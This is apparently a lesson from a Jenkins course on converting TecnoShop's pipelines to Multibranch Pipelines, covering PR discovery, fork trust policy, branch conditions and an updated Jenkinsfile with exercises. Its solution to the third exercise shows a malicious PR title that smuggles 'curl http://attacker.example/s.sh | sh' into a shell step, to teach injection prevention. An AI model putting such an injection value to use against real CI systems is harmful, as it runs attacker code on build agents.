With the repositories now private and the github-tecnoshop credential created in the previous lesson, Jenkins can read TecnoShop's code securely. But orders-api-pipeline still has a fundamental limitation: it only builds the main branch. When Diego works on a new branch, he does not know whether his code passes the tests until he merges it into main, and if it does not, he has already broken the branch the whole team depends on. Multibranch Pipelines solve this problem: Jenkins automatically discovers every branch and every pull request in the repository that contains a Jenkinsfile, and creates and runs a job for each one. In this lesson you will replace orders-api-pipeline with the orders-api multibranch job, configure branch and pull request discovery (including the delicate matter of forks), learn the variables and conditions specific to this type of job, adapt the Jenkinsfile and follow the complete path of one of Diego's changes from his branch to main. You will also create the catalog-web multibranch job and get to know Organization Folders.

The Limits of orders-api-pipeline

Situation With orders-api-pipeline
Diego pushes the feature/filter-orders-by-status branch Nobody builds it
Diego opens a pull request to main The reviewer does not know whether it compiles or whether the tests pass
A broken change is merged main fails and the whole team is blocked
Several branches at once You would have to create a job by hand for each branch

What TecnoShop wants is to verify every change before it reaches main, which is the heart of the continuous integration you will study in module 7.

What a Multibranch Pipeline Is

A Multibranch Pipeline is a special Jenkins folder associated with a repository. Periodically (or when notified by the repository), Jenkins scans the repository and:

  • Creates a child job for each branch and each pull request that contains a Jenkinsfile.
  • Starts a build when it detects new commits in any of them.
  • Retires the jobs of deleted branches and closed pull requests.
flowchart TD
    R[("Repository<br/>tecnoshop/orders-api")] -->|"scan (indexing)"| M["Multibranch Pipeline<br/>orders-api"]
    M --> B1["main"]
    M --> B2["feature/filter-orders-by-status"]
    M --> B3["PR-12"]
    B1 --> J1["Builds #1, #2, #3..."]
    B2 --> J2["Builds #1, #2..."]
    B3 --> J3["Builds #1..."]

Each child job is a normal pipeline, with its own history, console and build numbering, and each uses the Jenkinsfile from its own branch. That way, a change to the Jenkinsfile is tested on a branch before it reaches main, like any other code change.

The main differences from the Pipeline job you have used so far:

Pipeline (orders-api-pipeline) Multibranch (orders-api)
Branches One, fixed in the configuration Every branch with a Jenkinsfile, discovered automatically
Pull requests No Yes, as PR-<number> jobs
Job configuration Forms for each job A single configuration for all branches; the rest lives in the Jenkinsfile
Change detection pollSCM or webhooks per job Repository scanning or webhooks
BRANCH_NAME, CHANGE_* variables Do not exist Yes

Preparing the Token: Reading Pull Requests

The github-tecnoshop token you created in 04-04 can only read contents. To discover pull requests, Jenkins queries the GitHub API and needs one more permission:

  1. On GitHub: Settings → Developer settings → Personal access tokens → Fine-grained tokens, open jenkins-tecnoshop and click Edit.
  2. Under Repository permissions, change Pull requests to Read-only. Save.

The token value does not change, so there is no need to touch the credential in Jenkins. It now has three read-only permissions: Contents, Metadata and Pull requests. In 06-01 you will add write access to commit statuses, so that GitHub shows the build result on each pull request.

Creating the orders-api Multibranch Job

We will use the GitHub Branch Source plugin, which is installed with the suggested plugins (check it under Manage Jenkins → Plugins → Installed plugins; if it is not there, install it). This plugin talks to the GitHub API, which lets it discover pull requests, forks and user permissions, something the generic Git source cannot do.

  1. New Item → name orders-api → Multibranch Pipeline → OK.
  2. Display Name: leave it empty. Description: Builds of every branch and pull request of orders-api.
  3. Branch Sources → Add source → GitHub:
Field Value
Credentials github-tecnoshop
Repository HTTPS URL https://github.com/<your-username>/orders-api
  1. Click Validate. It should respond with a message similar to Credentials ok. Connected to https://github.com/<your-username>/orders-api.

Always use credentials with this source, even if the repository were public: without them, Jenkins uses the GitHub API anonymously, with a limit of a few dozen requests per hour, and scans will fail as soon as that limit is used up.

Discovery Behaviors

Under the GitHub source you will find the Behaviours list. The first three come configured by default and are the most important:

Behavior Default strategy What it does
Discover branches Exclude branches that are also filed as PRs Creates a job per branch, unless that branch has an open pull request (so the same thing is not built twice)
Discover pull requests from origin Merging the pull request with the current target branch revision Creates a PR-<n> job for each pull request whose branch is in the same repository
Discover pull requests from forks Merging... + Trust: From users with Admin or Write permission The same for pull requests coming from forks

The branch strategy options:

Discover branches strategy Effect
Exclude branches that are also filed as PRs Branch without a PR → branch job; once the PR is opened, it is built only as PR-<n>
Only branches that are also filed as PRs Only builds branches with an open PR (plus main if you configure it separately)
All branches Every branch, whether or not it has a PR (may duplicate builds)

And the pull request ones:

PR strategy What code is built
Merging the pull request with the current target branch revision The result of merging the PR with the current state of main. It answers "will main work after the merge?"
The current pull request revision The code of the PR branch as is, without merging
Both... Both, as two separate jobs

TecnoShop keeps the merge strategy: what matters is not whether Diego's branch works in isolation, but whether main will keep working after the merge. Keep in mind that, in that case, Jenkins creates the merge commit locally, so the GIT_COMMIT of a PR build is a commit that does not exist on GitHub.

More behaviors are available with Add; a useful one is Discover tags, which creates jobs for Git tags (for example, v1.0.0). By default, tag jobs are created but not built automatically, so that the first scan does not rerun builds for old tags; to build them automatically you use the Basic Branch Build Strategies plugin. You will come back to this in module 7.

Pull Requests from Forks and the Trust Policy

A fork is a copy of the repository in another account. In open projects (and in some companies), contributions arrive as pull requests from forks belonging to people who do not have write permission on the repository. This raises a serious problem:

If Jenkins ran the fork's Jenkinsfile, anyone could open a PR with a modified Jenkinsfile that called withCredentials(...) and sent TecnoShop's secrets to a server of their own. Or mined cryptocurrency on your agents.

That is why the Trust option exists:

Trust The PR's Jenkinsfile is trusted if its author is...
Nobody Nobody: the target branch's Jenkinsfile is always used
Collaborators A collaborator on the repository
From users with Admin or Write permission Someone with write or admin permission (the default)
Everyone Anyone. Dangerous: never use it on a repository that receives PRs from strangers

When the author is not trusted, Jenkins builds the PR's code, but with the Jenkinsfile (and other "trusted" files) from the target branch. In the console you will see a message such as:

Loading trusted files from base branch main at 8c1d2e3... rather than 5a6b7c8...

It is an important protection, but not a complete one: even though the Jenkinsfile is the one from main, the build runs the PR's code, and that code (tests, Maven or npm scripts) can also do malicious things on the agent. TecnoShop's rules:

  • PRs from forks with Trust at its default value or something more restrictive.
  • Pipelines that handle deployment secrets only use them on main (you will do this with when { branch 'main' }).
  • Once there are agents, PR builds will run on ephemeral agents with no access to anything sensitive (module 8).

Build Configuration, Scan Triggers and Orphaned Items

Keep scrolling down the orders-api configuration:

Build Configuration

Field Value Explanation
Mode by Jenkinsfile A branch is only included if it contains the file
Script Path Jenkinsfile Path of the file in each branch

Scan Multibranch Pipeline Triggers

  • Check Periodically if not otherwise run and set Interval to 5 minutes.
  • This is what replaces pollSCM: every 5 minutes Jenkins scans the repository, detects new branches, PRs and commits, and starts the necessary builds. If a scan has already run within that interval (a manual one, for example), it is skipped.
  • Five minutes is a lab value. When you configure webhooks in 06-01, GitHub will notify Jenkins instantly and this interval will be raised to one day, as a safety net.

Orphaned Item Strategy

When a branch is deleted or a PR is closed, its job becomes orphaned: it is shown disabled and struck through. This section decides when it is removed:

Field Value at TecnoShop Effect
Discard old items Checked Enables the cleanup
Days to keep old items 7 Orphans are kept for a week (so their builds can be consulted)
Max # of old items to keep 20 At most 20 orphans

Without this cleanup, within a few months the folder would hold hundreds of jobs for branches that no longer exist, with their builds taking up disk space on the controller. Click Save.

Branch Indexing and Its Log

When you save, Jenkins starts the first scan, called branch indexing. You can rerun it whenever you like with Scan Repository Now and check its result in Scan Repository Log:

Started by user Laura
Starting branch indexing...
Connecting to https://api.github.com using <your-username>/****** (GitHub: read-only fine-grained token ...)
Examining <your-username>/orders-api

  Checking branches...
  Getting remote branches...
    Checking branch main
      'Jenkinsfile' found
    Met criteria
Scheduled build for branch: main
  1 branches were processed

  Checking pull-requests...
  0 pull requests were processed

Finished examining <your-username>/orders-api
Finished branch indexing. Indexing took 2.1 sec
Finished: SUCCESS
  • 'Jenkinsfile' found / Met criteria: the branch meets the by Jenkinsfile Mode.
  • Scheduled build for branch: main: since this is the first time it sees the branch, it starts a build.
  • If a branch has no Jenkinsfile, you will see 'Jenkinsfile' not found and Does not meet criteria.

The orders-api page now shows tabs: Branches (with main), Pull Requests and, if you discover them, Tags. The URL of the main branch is http://localhost:8080/job/orders-api/job/main/. Branches with / in their name appear encoded in the URL (feature%2Ffilter-orders-by-status), and their workspaces on disk use shortened names to avoid overly long paths.

The first main build will use the Jenkinsfile as it is now, pollSCM included. You will adapt it in a few minutes.

Multibranch Variables

Jobs in a multibranch project have additional environment variables, which you saw announced in 04-03:

Variable main branch PR #12 from feature/filter-orders-by-status
BRANCH_NAME main PR-12
CHANGE_ID (does not exist) 12
CHANGE_TARGET (does not exist) main
CHANGE_BRANCH (does not exist) feature/filter-orders-by-status
CHANGE_AUTHOR (does not exist) Diego's GitHub username
CHANGE_TITLE (does not exist) The PR title
CHANGE_URL (does not exist) The PR URL on GitHub
CHANGE_FORK (does not exist) The fork owner, if it comes from one
TAG_NAME (does not exist) (only in tag jobs)

Two remarks:

  • In a PR, BRANCH_NAME is not the name of Diego's branch but PR-12. The real name is in CHANGE_BRANCH.
  • CHANGE_TITLE, CHANGE_BRANCH and CHANGE_AUTHOR are written by whoever opens the PR: they are external data. Never interpolate them with Groovy in an sh step, as you learned in 04-03.

when Conditions for Branches and Pull Requests

In 03-05 you saw that when { branch 'main' } did not work in orders-api-pipeline. In multibranch, at last, it does:

Condition Met when...
branch 'main' BRANCH_NAME is main
branch pattern: 'release/.*', comparator: 'REGEXP' BRANCH_NAME matches the regular expression
changeRequest() The build is for a pull request (any)
changeRequest target: 'main' The build is for a PR targeting main
changeRequest branch: 'feature/*', comparator: 'GLOB' The build is for a PR whose source branch matches the pattern
buildingTag() The build is for a tag
tag pattern: 'v\\d+\\.\\d+\\.\\d+', comparator: 'REGEXP' The tag matches the pattern
        stage('Only on PRs to main') {
            when {
                changeRequest target: 'main'
            }
            steps {
                echo "PR #${env.CHANGE_ID}: ${env.CHANGE_BRANCH} → ${env.CHANGE_TARGET}"
            }
        }

Watch out for a trap: in the build of PR-12, which targets main, branch 'main' is false, because BRANCH_NAME holds PR-12. That is exactly what we want for deployment: only what is already in main gets deployed, not what is trying to get there.

Adapting the Jenkinsfile to Multibranch

Laura makes four changes.

  1. Deploy to dev Only from main

        stage('Deploy to dev') {
            when {
                allOf {
                    branch 'main'
                    expression { params.ENVIRONMENT == 'dev' }
                    expression { params.RUN_TESTS }
                }
            }

Without branch 'main', every branch and every PR would "deploy" to dev with the default parameter values, and dev would show whoever's commit came last.

  1. No More pollSCM; cron Only on main

    triggers {
        cron(env.BRANCH_NAME == 'main' ? 'TZ=Europe/Madrid\nH 2 * * 1-5' : '')
    }
  • pollSCM goes away: the multibranch scan (and later the webhooks) detects changes on every branch. Keeping it would make each branch query GitHub every 15 minutes on its own.
  • The nightly build only makes sense on main. The ternary operator condition ? value_if_true : value_if_false returns the cron expression when the branch is main and an empty string otherwise; a cron('') schedules nothing.
  • Remember that triggers are registered when the Jenkinsfile runs: the cron for main will become active after its first build with this change.

  1. Parameters in Multibranch

parameters still work, but it is worth knowing how:

  • Each branch or PR job registers its parameters after its first build, which always uses the default values. After that, Build with Parameters appears on that job.
  • Automatic builds (from a scan, a push or cron) always use the default values. That is why it is so important for the default values to be safe: with RUN_TESTS=true by default, no PR is built without tests.

  1. More Context in the Build

  • In Build, the initial message includes the branch.
  • A small PR info stage, with when { changeRequest() }, shows the PR's number, source and target with echo (a Groovy step, with no shell involved, so displaying external data is safe).
  • currentBuild.description and build-info.txt include the branch.

Diego's Workflow

Diego has to add a filter by status: GET /api/orders?status=SHIPPED. He creates his branch:

git switch -c feature/filter-orders-by-status

He changes the list method in OrderController:

    @GetMapping
    public List<Order> list(@RequestParam(required = false) String status) {
        if (status == null) {
            return ORDERS;
        }
        return ORDERS.stream()
                .filter(order -> order.status().equalsIgnoreCase(status))
                .toList();
    }
  • @RequestParam(required = false) String status: reads the status parameter from the URL; if it is not present, it is null and all orders are returned (you need to add import org.springframework.web.bind.annotation.RequestParam;).
  • equalsIgnoreCase: shipped and SHIPPED are considered equal.

And he adapts the tests: the existing one now calls controller.list(null), and he adds a new one:

    @Test
    void listFiltersByStatus() {
        assertEquals(1, controller.list("shipped").size());
    }

He commits and runs git push -u origin feature/filter-orders-by-status, opens a pull request to main on GitHub, Marta reviews it and, with the build green, they merge it:

sequenceDiagram
    participant D as Diego
    participant GH as GitHub
    participant J as Jenkins (orders-api multibranch)
    participant M as Marta (review)
    D->>GH: pushes feature/filter-orders-by-status
    J->>GH: periodic scan (indexing)
    J->>J: creates the branch job and builds it (no deployment)
    D->>GH: opens PR #12 to main
    J->>GH: scan: detects PR #12
    J->>J: the branch has a PR: its job is retired and PR-12 is created
    J->>J: PR-12 build = PR merged with main (no deployment)
    M->>GH: reviews the code and checks the build result
    M->>GH: approves and merges the PR
    J->>GH: scan: main has a new commit, PR-12 closed
    J->>J: builds main with "Deploy to dev"
    J->>J: PR-12 becomes orphaned and is removed after 7 days

Note the key points:

  • The branch is built as long as it has no PR; once the PR is opened, because of the Exclude branches that are also filed as PRs strategy, it is built only as PR-12.
  • The PR-12 build tests the result of the merge: if someone changed main in an incompatible way in the meantime, it is caught here and not after the merge.
  • Only the main build deploys. The stages skipped in PRs show skipped due to when conditional.
  • Today Marta has to go to Jenkins to see the result; in 06-01, the build status will appear directly on the GitHub PR, and it can be required before the merge is allowed.

Retiring the Old Jobs and Creating catalog-web

Retiring orders-api-pipeline

There are now two jobs building main of orders-api, with two nightly triggers. The old one has to be retired:

  1. Open orders-api-pipeline and click Disable Project. It stops running, but keeps its history in case you need to consult it.
  2. Once you have confirmed that the multibranch job works (for example, after a week), delete it with Delete Pipeline.

The artifacts of its builds will be lost when you delete it; if any of them matter, download them first. The orders-api-build and orders-api-smoke Freestyle jobs remain as a historical reference from module 2, with their triggers disabled.

Creating the catalog-web Multibranch Job

Repeat the process with the second project:

  1. New Item → catalog-web → Multibranch Pipeline.
  2. GitHub source, github-tecnoshop credential, URL https://github.com/<your-username>/catalog-web, the same behaviors, the same scan interval and the same orphan strategy.
  3. Save. Indexing will find main and start its build with the Node matrix from 04-02.

The catalog-web Jenkinsfile needs no changes: it does not use pollSCM, it does not deploy and its matrix makes sense on every branch. Once the main build works, delete catalog-web-pipeline (Delete Pipeline).

TecnoShop's jobs now look like this:

Job Type Status
orders-api Multibranch Main job for orders-api
catalog-web Multibranch Main job for catalog-web
orders-api-regression Pipeline Practice from 04-01
lab-credentials Pipeline Practice from 04-04
orders-api-build, orders-api-smoke Freestyle Historical, no triggers
orders-api-pipeline Pipeline Disabled; will be deleted

Organization Folders

If TecnoShop had 40 repositories, creating 40 multibranch jobs by hand would be tedious. An Organization Folder scans an entire GitHub organization (or a GitLab group, a Bitbucket project...) and automatically creates a multibranch job for each repository that has a Jenkinsfile.

It is created with New Item → Organization Folder, a GitHub Organization source, the Owner (tecnoshop) and a credential with access to all the repositories. It supports the same behaviors as a multibranch job, plus filters such as Filter by name (with regular expression) to include only certain repositories.

Multibranch per repository Organization Folder
Adding a new repository Manual Automatic once it has a Jenkinsfile
Configuration One per repository (may differ) One shared by all
Credential Access to that repository Access to the whole organization
Suitable for A few repositories or differing needs Many homogeneous repositories

TecnoShop has two repositories with similar configurations that are still evolving, so it keeps two multibranch jobs. As the number grows, and with the GitHub App integration from 06-01, an Organization Folder will be the natural choice; and you will see how to manage these configurations as code in Jenkins as Code.

The Updated Jenkinsfile

pipeline {
    agent any

    options {
        timestamps()
        timeout(time: 20, unit: 'MINUTES')
        buildDiscarder(logRotator(numToKeepStr: '30', artifactNumToKeepStr: '5'))
        disableConcurrentBuilds()
        preserveStashes(buildCount: 5)
    }

    parameters {
        booleanParam(name: 'RUN_TESTS', defaultValue: true,
                     description: 'Uncheck only to quickly verify that the code compiles. Never for a build that is going to be deployed.')
        choice(name: 'ENVIRONMENT', choices: ['dev', 'staging', 'production'],
               description: 'Target environment. For now only dev has a deployment (simulated), and only from main.')
    }

    triggers {
        cron(env.BRANCH_NAME == 'main' ? 'TZ=Europe/Madrid\nH 2 * * 1-5' : '')
    }

    environment {
        MAVEN_ARGS  = '-B -ntp'
        IMAGE       = 'registry.tecnoshop.local/orders-api'
        APP_VERSION = sh(script: './mvnw -q help:evaluate -Dexpression=project.version -DforceStdout',
                         returnStdout: true, label: 'Read the version from the pom').trim()
        IMAGE_TAG   = "${APP_VERSION}-${BUILD_NUMBER}"
    }

    stages {
        stage('PR info') {
            when {
                changeRequest()
            }
            steps {
                echo "PR #${env.CHANGE_ID} by ${env.CHANGE_AUTHOR}: ${env.CHANGE_BRANCH} → ${env.CHANGE_TARGET} (${env.CHANGE_URL})"
            }
        }

        stage('Build') {
            steps {
                echo "Build ${env.BUILD_NUMBER} of ${env.JOB_NAME} | branch ${env.BRANCH_NAME} | version ${env.APP_VERSION} | ENVIRONMENT=${params.ENVIRONMENT} | RUN_TESTS=${params.RUN_TESTS}"
                sh './mvnw $MAVEN_ARGS clean compile'
            }
        }

        stage('Checks') {
            failFast true
            parallel {
                stage('Tests') {
                    when {
                        expression { params.RUN_TESTS }
                    }
                    options {
                        timeout(time: 10, unit: 'MINUTES')
                    }
                    steps {
                        sh './mvnw $MAVEN_ARGS test'
                    }
                    post {
                        failure {
                            echo 'The tests failed: check the log of this stage (reports in target/surefire-reports).'
                        }
                    }
                }
                stage('Dependency analysis') {
                    options {
                        timeout(time: 5, unit: 'MINUTES')
                    }
                    steps {
                        sh label: 'Dependency tree', script: './mvnw $MAVEN_ARGS dependency:tree -DoutputFile=dependencies.txt'
                        archiveArtifacts artifacts: 'dependencies.txt'
                    }
                }
            }
        }

        stage('Package') {
            steps {
                sh './mvnw $MAVEN_ARGS -DskipTests package'
                script {
                    def date = sh(script: 'date -u +%Y-%m-%dT%H:%M:%SZ', returnStdout: true, label: 'Build date').trim()
                    currentBuild.description = "orders-api ${env.APP_VERSION} (${env.BRANCH_NAME})"
                    def lines = [
                        'application=orders-api',
                        "version=${env.APP_VERSION}",
                        "branch=${env.BRANCH_NAME}",
                        "commit=${env.GIT_COMMIT}",
                        "build=${env.BUILD_NUMBER}",
                        "job=${env.JOB_NAME}",
                        "image=${env.IMAGE}:${env.IMAGE_TAG}",
                        "date=${date}",
                        "url=${env.BUILD_URL}"
                    ]
                    writeFile file: 'build-info.txt', text: lines.join('\n') + '\n'
                }
                archiveArtifacts artifacts: 'target/*.jar,build-info.txt', fingerprint: true
                stash name: 'jar', includes: 'target/*.jar'
            }
        }

        stage('Smoke') {
            environment {
                BASE_PORT = '18090'
            }
            options {
                timeout(time: 3, unit: 'MINUTES')
            }
            steps {
                dir('smoke') {
                    deleteDir()
                    unstash 'jar'
                    sh label: 'Start the jar and check that it responds', script: '''
                        JAR=$(ls target/*.jar)
                        PORT=$((BASE_PORT + EXECUTOR_NUMBER))
                        java -jar "$JAR" --server.port=$PORT > smoke.log 2>&1 &
                        PID=$!
                        trap 'kill $PID 2>/dev/null || true' EXIT
                        for i in $(seq 1 30); do
                            if curl -sf "http://localhost:$PORT/actuator/health" | grep -q '"status":"UP"'; then
                                echo "Smoke OK: the application is responding on port $PORT (attempt $i)"
                                curl -sf "http://localhost:$PORT/api/orders" | grep -q 'SHIPPED'
                                exit 0
                            fi
                            sleep 2
                        done
                        echo "ERROR: the application did not start within 60 seconds"
                        cat smoke.log
                        exit 1
                    '''
                }
            }
        }

        stage('Deploy to dev') {
            when {
                allOf {
                    branch 'main'
                    expression { params.ENVIRONMENT == 'dev' }
                    expression { params.RUN_TESTS }
                }
            }
            steps {
                unstash 'jar'
                echo "SIMULATION: this is where target/orders-api-${env.APP_VERSION}.jar would be deployed to dev (future image: ${env.IMAGE}:${env.IMAGE_TAG}; real deployment in 06-06 and 07-03)."
            }
        }
    }

    post {
        success {
            echo "OK: orders-api ${env.APP_VERSION} (${env.BRANCH_NAME}) #${env.BUILD_NUMBER} built successfully."
        }
        unstable {
            echo "WARNING: orders-api (${env.BRANCH_NAME}) #${env.BUILD_NUMBER} is unstable."
        }
        failure {
            echo "ERROR: orders-api (${env.BRANCH_NAME}) #${env.BUILD_NUMBER} failed. Check the red stage."
        }
        fixed {
            echo "orders-api (${env.BRANCH_NAME}) is back to green after an earlier failure."
        }
        cleanup {
            cleanWs()
        }
    }
}

Changes compared with 04-03:

  • triggers: no pollSCM; cron only on main.
  • A new PR info stage, only on pull requests.
  • Build, the build description, build-info.txt (the branch= line) and the post messages include the branch.
  • Deploy to dev adds branch 'main' to its conditions, and the description of the ENVIRONMENT parameter reflects it.

Make the change on a branch (chore/adapt-to-multibranch), open a PR and check that the PR build skips Deploy to dev. Merge it and verify that the main build does run it. This is the first time a change to the Jenkinsfile itself is validated before it reaches main.

Common Mistakes and Tips

  • No branches appear after indexing: check the Scan Repository Log. The usual culprit is 'Jenkinsfile' not found (the file is not at the root or has a different name) or a credentials error.
  • HTTP 403 or API rate limit exceeded in the scan log: there is no credential on the source, or the token lacks the necessary permissions (read access to Contents, Metadata and Pull requests).
  • PRs do not show up: the token is missing the Pull requests: Read-only permission.
  • when { branch 'main' } is false in the build of a PR to main: that is expected; BRANCH_NAME is PR-<n>. Use changeRequest target: 'main' if you want to detect PRs to main.
  • Duplicate main builds: you left orders-api-pipeline enabled. Disable it.
  • Still using pollSCM in multibranch: it multiplies the queries to GitHub by the number of branches.
  • Trust set to Everyone for PRs from forks: anyone could run their own Jenkinsfile with your credentials.
  • Not configuring the Orphaned Item Strategy: the folder piles up dead branches and builds that take up disk space.
  • Tip: always validate Jenkinsfile changes on a branch with a PR. Multibranch turns the pipeline into just another piece of code in the repository, with its own review and tests.

Exercises

Exercise 1. Reproduce Diego's complete workflow with your repository: create the feature/filter-orders-by-status branch, apply the change and its tests, push, wait for the scan (or trigger it with Scan Repository Now), open the PR, check which jobs exist in the Branches and Pull Requests tabs at each point, merge and delete the branch on GitHub. What happens to the branch and PR jobs?

Exercise 2. For each build, state which stages of the updated Jenkinsfile run and which are skipped: (a) an automatic main build; (b) an automatic build of PR #12 to main; (c) a manual main build with ENVIRONMENT=staging; (d) a build of the feature/x branch before its PR is opened.

Exercise 3. Laura wants a Long-lived branch warning stage that runs only on PRs whose source branch starts with release/ and whose target is main. Write its when. Then explain why the stage would be unsafe with this step, and how to fix it: sh "echo Review this PR carefully: ${env.CHANGE_TITLE}".

Solutions

Solution 1. After the push, and before the PR is opened, the Branches tab shows main and feature/filter-orders-by-status, with one build. When the PR is opened and a scan runs, the branch disappears from Branches (it becomes orphaned, because of the Exclude branches that are also filed as PRs strategy) and PR-1 (or whatever its number is) appears under Pull Requests, with its build on the code merged with main. After merging and scanning, main is built with the merge commit and runs Deploy to dev; the PR job becomes orphaned (disabled and struck through) because the PR is closed, and it will disappear after 7 days or when there are more than 20 orphans, according to the Orphaned Item Strategy. The same happens to the branch job if it still existed.

Solution 2.

Build PR info Build Tests Analysis Package Smoke Deploy to dev
(a) Automatic main Skipped Yes Yes Yes Yes Yes Yes
(b) PR #12 Yes Yes Yes Yes Yes Yes Skipped (branch 'main' is false)
(c) main, ENVIRONMENT=staging Skipped Yes Yes Yes Yes Yes Skipped (ENVIRONMENT is not dev)
(d) feature/x without a PR Skipped Yes Yes Yes Yes Yes Skipped

Solution 3.

        stage('Long-lived branch warning') {
            when {
                changeRequest target: 'main', branch: 'release/*', comparator: 'GLOB'
            }
            steps {
                echo "Review this PR carefully: ${env.CHANGE_TITLE}"
            }
        }

Note: the comparator applies to every attribute of the condition; main still matches as a GLOB pattern. The version with sh "echo ... ${env.CHANGE_TITLE}" is unsafe because the PR title is written by whoever opens it: a title such as x; curl http://attacker.example/s.sh | sh would be run as a command when Groovy interpolates it into the script. The fix is to use Groovy's echo step, which does not go through the shell (as above), or, if the shell is needed, single quotes: sh 'echo "Review this PR carefully: $CHANGE_TITLE"'.

Conclusion

orders-api and catalog-web are now Multibranch Pipelines: Jenkins discovers their branches and pull requests with the GitHub Branch Source plugin and the github-tecnoshop credential (extended with read access to pull requests), builds each PR merged with its target, protects secrets from fork PRs with the Trust policy, scans the repository periodically instead of using pollSCM and cleans up orphaned jobs. You know the BRANCH_NAME, CHANGE_ID, CHANGE_TARGET, CHANGE_BRANCH and CHANGE_AUTHOR variables, the branch, changeRequest and buildingTag conditions, and you have adapted the Jenkinsfile so that only main deploys and gets a nightly build. You also know when an Organization Folder replaces several multibranch jobs. When you compare the orders-api and catalog-web Jenkinsfiles, however, it becomes obvious that they repeat patterns: options, cleanup, build information generation... and that every new TecnoShop project will copy them yet again. In the next lesson, Shared Libraries: Reusing Code Across Pipelines, you will learn to extract that common code into a versioned library that every pipeline can use.

© Copyright 2026. All rights reserved